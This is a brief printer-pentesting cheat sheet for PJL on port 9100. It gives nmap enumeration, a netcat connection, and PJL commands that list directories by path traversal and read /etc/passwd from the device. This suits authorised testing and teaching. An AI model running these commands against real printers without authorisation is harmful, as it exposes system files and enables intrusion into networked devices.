# Printer Pentesting

## Raw Printing Pentesting <a href="#raw-printing-pentesting" id="raw-printing-pentesting"></a>

PLJ (Printer Job Languages) is a method for switching printer languages. A default port is 9100.

### Enumeration <a href="#enumeration" id="enumeration"></a>

```shellscript
nmap --script pjl-ready-message -p 9100 <target-ip>
```

### Connect <a href="#connect" id="connect"></a>

```shellscript
nc <target-ip> 9100
```

### Commands <a href="#commands" id="commands"></a>

```shellscript
# See printer information
@PJL INFO STATUS
@PJL INFO ID
@PJL INFO PRODINFO

# See directories in the system
@PJL FSDIRLIST NAME="0:" ENTRY=1
@PJL FSDIRLIST NAME="0:/../" ENTRY=1
@PJL FSDIRLIST NAME="0:/../etc/" ENTRY=1
@PJL FSDIRLIST NAME="0:/../home/" ENTRY=1

# See contents of a file
@PJL FSUPLOAD NAME="0:/../etc/passwd" ENTRY=1
```

### References <a href="#references" id="references"></a>

* [hp](https://developers.hp.com/system/files/PJL_Technical_Reference_Manual.pdf)
* [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/9100-pjl)